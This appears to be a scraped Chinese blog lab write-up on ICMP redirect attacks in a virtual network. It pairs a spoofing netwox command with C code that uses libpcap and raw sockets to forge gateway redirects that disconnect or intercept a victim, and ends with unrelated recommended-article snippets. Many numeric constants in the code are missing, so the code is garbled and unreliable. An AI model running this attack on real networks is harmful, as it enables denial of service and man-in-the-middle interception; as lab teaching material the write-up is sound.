-:实验原理

  ICMP重定向信息是路由器向主机提供实时的路由信息,当一个主机收到ICMP重定向信息时,它就会根据这个信息来更新自己的路由表。由于缺乏必要的合法性检查,如果一个黑客想要被攻击的主机修改它的路由表,黑客就会发送ICMP重定向信息给被攻击的主机,让该主机按照黑客的要求来修改路由表。

  在VMware虚拟环境中(Virtual Box不同),.2是充当网关的默认地址(通过route命令可以查看当前的网关和路由信息);所以攻击者可以冒充.2发出重定向包,通知受害者修改自己的网关为攻击者指定的gw地址;如果伪造的gw是自身,可以实现中间人攻击或者DOS攻击(没有启动IP转发功能);如果是随意IP(不能到达或不负责转发),则可以导致DOS攻击。

二:实验步骤:

  1. 使用netwox体会实验效果,使用netwox 86发送ICMP重定向包,

Netwox 86 –gw 192.168.137.220 –src-ip 192.168.137.2

其中-gw指定新的网关地址;--src-ip是当前网关地址;也即攻击者冒充当前网关.2通知受害者修改自己的网关IP。

启动wireshark,观察netwox发出的数据包:

1)   通过wireshark抓包查看所发出的数据包的源IP是.2而不是攻击者真实的IP;

2)   通过抓包,查看攻击数据包的结构

请注意,ICMP重定向报文除了ICMP包中的通用头部之外,还包括原始IP头部信息和数据报文的前8个字节。也即,在构造ICMP重定向包中,除了头部之外,还需要额外的28字节(在IP头部没有可选字段的情况下)

3)   另外,注意观察,netwox发出的ICMP重定向包的目的IP是受害者正通信的IP,也即,netwox先抓到受害者的数据包,根据捕获包的IP地址,再构造攻击包。

  1. 在充分了解实验原理的基础上,自己使用raw socket,写出来一个icmp redirect包,达到使受害者不能正常上网的目的。

1)   关于raw socket语法,可以使用man socket;man raw;man packet等查看细节,可以运行参考代码,并结合wireshark抓包查看代码生成的数据包。

2)   原始套接字是一个特殊的套接字类型,但它的创建方式跟TCP/UDP创建方法几乎是一摸一样,例如,通过

int sockfd;
       sockfd = socktet(AF_INET, SOCK_RAW, IPPROTO_ICMP);

原型:int socket (int domain, int type, int protocol)

功能描述:初始化创建socket对象,通常是第一个调用的socket函数。 成功时,返回非负数的socket描述符;失败是返回-1。socket描述符是一个指向内部数据结构的指针,它指向描述符表入口。调用socket()函数时,socket执行体将建立一个socket,实际上"建立一个socket"意味着为一个socket数据结构分配存储空间。socket执行体为你管理描述符表。

参数解释:

domain -- 指明使用的协议族。常用的协议族有,AF_INET、AF_INET6、AF_LOCAL(或称AF_UNIX,Unix域socket)、AF_ROUTE等等。协议族决定了socket的地址类型,在通信中必须采用对应的地址,如AF_INET决定了要用ipv4地址(32位的)与端口号(16位的)的组合、AF_UNIX决定了要用一个绝对路径名作为地址。

type -- 指明socket类型,有3种:

SOCK_STREAM -- TCP类型,保证数据顺序及可靠性;

SOCK_DGRAM --  UDP类型,不保证数据接收的顺序,非可靠连接;

SOCK_RAW -- 原始类型,允许对底层协议如IP或ICMP进行直接访问,不太常用。 protocol -- 通常赋值"0",由系统自动选择。

#include <pcap.h>
#include <time.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>
#include<sys/socket.h>
#include<unistd.h> #define MAX 1024
#define SIZE_ETHERNET 14 const unsigned char *Vic_IP = "10.211.55.4";//攻击对象的ip
const unsigned char *Ori_Gw_IP = "10.211.55.1";//源网关ip
const unsigned char *Redic_IP = "10.211.55.3";//攻击者ipo
int flag = ; /* IP header */
struct ip_header
{
#ifdef WORDS_BIGENDIAN
u_int8_t ip_version:;
u_int8_t ip_header_length:;
#else
u_int8_t ip_header_length:;
u_int8_t ip_version:;
#endif
u_int8_t ip_tos;
u_int16_t ip_length;
u_int16_t ip_id;
u_int16_t ip_off;
u_int8_t ip_ttl;
u_int8_t ip_protocol;
u_int16_t ip_checksum;
struct in_addr ip_source_address;
struct in_addr ip_destination_address;
}; //icmp 重定向报文头
struct icmp_header
{
u_int8_t icmp_type;
u_int8_t icmp_code;
u_int16_t icmp_checksum;
struct in_addr icmp_gateway_addr; //u_int16_t icmp_identifier;
//u_int16_t icmp_sequence;
}; /*计算校验和*/
u_int16_t checksum(u_int8_t *buf,int len)
{
u_int32_t sum=;
u_int16_t *cbuf; cbuf=(u_int16_t *)buf; while(len>)
{
sum+=*cbuf++;
len-=;
} if(len)
sum+=*(u_int8_t *)cbuf; sum=(sum>>)+(sum & 0xffff);
sum+=(sum>>); return ~sum;
} void ping_redirect(int sockfd,const unsigned char *data,int datalen)
{
char buf[MAX],*p;
struct ip_header *ip;
struct icmp_header *icmp;
int len,i;
struct sockaddr_in dest;
struct packet{
struct iphdr ip;
struct icmphdr icmp;
char datas[];
}packet; //手动填充ip头
packet.ip.version = ;
packet.ip.ihl = ;
packet.ip.tos = ;//服务类型
packet.ip.tot_len = htons();
packet.ip.id = getpid();
packet.ip.frag_off = ;
packet.ip.ttl = ;
packet.ip.protocol = IPPROTO_ICMP;
packet.ip.check = ;
packet.ip.saddr = inet_addr(Ori_Gw_IP);//要伪造网关发送ip报文
packet.ip.daddr = inet_addr(Vic_IP);//将伪造重定向包发给受害者 //手动填充icmp头
packet.icmp.type = ICMP_REDIRECT;
packet.icmp.code = ICMP_REDIR_HOST;
packet.icmp.checksum = ;
packet.icmp.un.gateway = inet_addr(Redic_IP);
struct sockaddr_in dest = {
.sin_family = AF_INET,
.sin_addr = {
.s_addr = inet_addr(Vic_IP)
}
};
//从源数据包的内存地址的起始地址开始,拷贝28个字节到目标地址所指的起始位置中
//可以复制任何类型,而strcpy只能复制字符串
memcpy(packet.datas,(data + SIZE_ETHERNET),);//包里数据
packet.ip.check = checksum(&packet.ip,sizeof(packet.ip));
packet.icmp.checksum = checksum(&packet.icmp,sizeof(packet.icmp)+);
//用于非可靠连接的数据数据发送,因为UDP方式未建立SOCKET连接,所以需要自己制定目的协议地址
//(发送端套接字描述符,待发送数据的缓冲区,待发送数据长度IP头+ICMP头(8)+IP首部+IP前8字节,flag标志位,一般为0,数据发送的目的地址,地址长度)
sendto(sockfd,&packet,,,(struct sockaddr *)&dest,sizeof(dest));
//printf("send\n");
} //pcap_loop()不知道如何处理返回值,所以返回值为空,第一个参数是回调函数的最后一个参数,第二个参数是pcap.h头文件定义的,包括数据包被嗅探的时间大小等信息,最后一个参数是一个u_char指针,它包含被pcap_loop()嗅探到的所有包(一个包包含许多属性,它不止一个字符串,而是一个结构体的集合,如一个TCP/IP包包含以太网头部,一个IP头部还有TCP头部,还有此包的有效载荷)这个u_char就是这些结构体的串联版本。pcap嗅探包时正是用之前定义的这些结构体
void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
int sockfd,res;
int one = ;
int *ptr_one = &one;
//printf("here!\n");
//可以接收协议类型为ICMP的发往本机的IP数据包(通信的域,iPv4,套接字通信的类型,原始套接字,套接字类型,接收ICMP-》IP)
//sockfd是socket描述符,为了以后将socket与本机端口相连
if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<)
{
printf("create sockfd error\n");
exit(-);
}
//包装自己的头部
//发送数据时,不执行系统缓冲区到socket缓冲区的拷贝,以提高系统性能,应为
/**
设置sockfd套接字关联的选 项
sockfd:指向一个打开的套接口描述字
IPPROTO_IP:指定选项代码的类型为IPV4套接口
IP_HDRINCL:详细代码名称(需要访问的选项名字)
ptr_one:一个指向变量的指针类型,指向选项要设置的新值的缓冲区
sizeof(one):指针大小
*/
res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL,ptr_one, sizeof(one));
if(res < )
{
printf("error--\n");
exit(-);
}
ping_redirect(sockfd,packet,); } int main()
{
char errBuf[PCAP_ERRBUF_SIZE], * devStr; /* get a device */
devStr = pcap_lookupdev(errBuf);//返回一个合适网络接口的字符串指针,如果出错,则返回errBuf出错字符串,长度为PACP_ERRBUF_SIZE长度 if(devStr)
{
printf("success: device: %s\n", devStr);
}
else
{
printf("error: %s\n", errBuf);
exit();
} /* open a device, wait until a packet arrives */
//打开设备进行嗅探,返回一个pcap_t类型的指针,后面操作都要用到这个指针
pcap_t * device = pcap_open_live(devStr, , , , errBuf); //获得数据包捕获描述字函数(设备名称,参与定义捕获数据的最大字节数,是否置于混杂模式,设置超时时间0表示没有超时等待,errBuf是出错返回NULL时用于传递错误信息) struct bpf_program filter;
char filterstr[]={};
sprintf(filterstr,"src host %s",Vic_IP); //将vic_ip按照%s的格式写入filterstr缓冲区
//过滤通信,哪些包是用户可以拿到的
//表达式被编译,编译完就可使用了
pcap_compile(device,&filter,filterstr,,); //函数返回-1为失败,返回其他值为成功
//device:会话句柄
//&filterstr:被编译的过滤器版本的地址的引用
//filterstr:表达式本身,存储在规定的字符串格式里
//1:表达式是否被优化的整形量:0:没有,1:有
//0:指定应用此过滤器的网络掩码
//设置过滤器,使用这个过滤器
pcap_setfilter(device,&filter);
//device:会话句柄
//&filterstr:被编译的表达式版本的引用
/* wait loop forever */
int id = ;
pcap_loop(device, -, getPacket, NULL);
//device是之前返回的pacp_t类型的指针,-1代表循环抓包直到出错结束,>0表示循环x次,getPacket是回调函数,最后一个参数一般之置为null return ;
}

实验二:ICMP重定向攻击的更多相关文章

  1. ICMP和重定向攻击

    目录 ICMP数据报格式 smurf攻击 ICMP重定向攻击 基于libpcap的sniffer raw socket 定义包头 解析数据包 重定向 ICMP数据报格式 https://zhuanla ...

  2. ICMP重定向及其攻防技术

    1.ICMP重定向概念: ICMP重定向技术,是用来提示主机改变自己的主机路由从而使路由路径最优化的一种ICMP报文.其概念理解的要义是原主机路由不是最佳路由,而其默认网关提醒主机优化自身的主机路由而 ...

  3. ICMP路由重定向攻击

    ICMP介绍 ICMP(Internet Control Message Protocol)Internet控制报文协议.它是TCP/IP协议簇的一个子协议,用于在IP主机.路由器之间传递控制消息.控 ...

  4. Linux编程之ICMP洪水攻击

    我的上一篇文章<Linux编程之PING的实现>里使用ICMP协议实现了PING的程序,ICMP除了实现这么一个PING程序,还有哪些不为人知或者好玩的用途?这里我将介绍ICMP另一个很有 ...

  5. 【黑金原创教程】【FPGA那些事儿-驱动篇I 】实验二:按键模块① - 消抖

    实验二:按键模块① - 消抖 按键消抖实验可谓是经典中的经典,按键消抖实验虽曾在<建模篇>出现过,而且还惹来一堆麻烦.事实上,笔者这是在刁难各位同学,好让对方的惯性思维短路一下,但是惨遭口 ...

  6. 2017-2018-1 20155219《信息安全技术》实验二——Windows口令破解

    2017-2018-1 20155320<信息安全技术>实验二--Windows口令破解 实验目的 了解Windows口令破解原理 对信息安全有直观感性认识 能够运用工具实现口令破解 实验 ...

  7. 2017-2018-1 20155312《信息安全技术》实验二——Windows口令破解实验报告

    2017-2018-1 20155312<信息安全技术>实验二--Windows口令破解实验报告 实验目的 了解Windows口令破解原理 对信息安全有直观感性认识 能够运用工具实现口令破 ...

  8. 2017-2018-1 201552326《信息安全技术》实验二——Windows口令破解

    2017-2018-1 201552326<信息安全技术>实验二--Windows口令破解 姓名:刘美岑 学号:20155326 班级:1553班 日期:10.24 一.实验环境 操作系统 ...

  9. 《信息安全技术》实验二 Windows口令破解

    <信息安全技术>实验二 Windows口令破解 实验目的 了解Windows口令破解原理 对信息安全有直观感性认识 能够运用工具实现口令破解 实验环境 实验机Windows Server ...

随机推荐

  1. [翻译] NMBottomTabBarController

    NMBottomTabBarController A customisable tab bar controller for iOS written in Objective C. It uses a ...

  2. 铁乐学Python_day04-列表LIST

    文:铁乐与猫 2018-3-21 Python内置的一种数据类型是列表:list. list是一种有序的集合,可以随时添加和删除其中的元素. 序列中的每个元素都分配一个数字(下标) - 它的位置,或索 ...

  3. oracle 数据库数据备份

    oracle 数据库数据备份 1.使用oracle用户应该就可以进行数据备份(不需要root用户):su oracle 查oracle实例名:echo $ORACLE_SID       例如查出来的 ...

  4. if 里面嵌套一个if&else (我自己又细分了别的条件,加了elif)

    场景: 一个陌生人敲门..... gender = input("你是男的是女的?") if gender == "女": print("请进&quo ...

  5. elif 相当于else&if

    if  条件: 语句块 elif 条件: 语句块 ... else                      #elif好像要有一个else作为结尾

  6. 张高兴的 Windows 10 IoT 开发笔记:无线收发芯片 nRF24L01

    This is a Windows 10 IoT Core project on the Raspberry Pi 2/3, coded by C#. GitHub:https://github.co ...

  7. swift内存管理:值类型与引用类型

    Use struct to create a structure. Structures support many of the same behaviors as classes, includin ...

  8. jQuery文字“橡皮圈“特效

    <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...

  9. 4、JVM-虚拟机性能监控与故障处理工具

    前言: Java与C++之间有一堵由内存动态分配和垃圾收集技术所围成的“高墙”,墙外面的人想进去,墙里面的人却想出来. 4.1.概述 给一个系统定位问题的时候,知识.经验是关键基础,数据是依据,工具是 ...

  10. 多启动引导工具——AIO Boot

    该软件功能十分强大 官网介绍的也十分详尽 这里仅仅简单标记一下用来以后查找 https://www.aioboot.com/en/ 效果图: 支持多语言: 简单运用: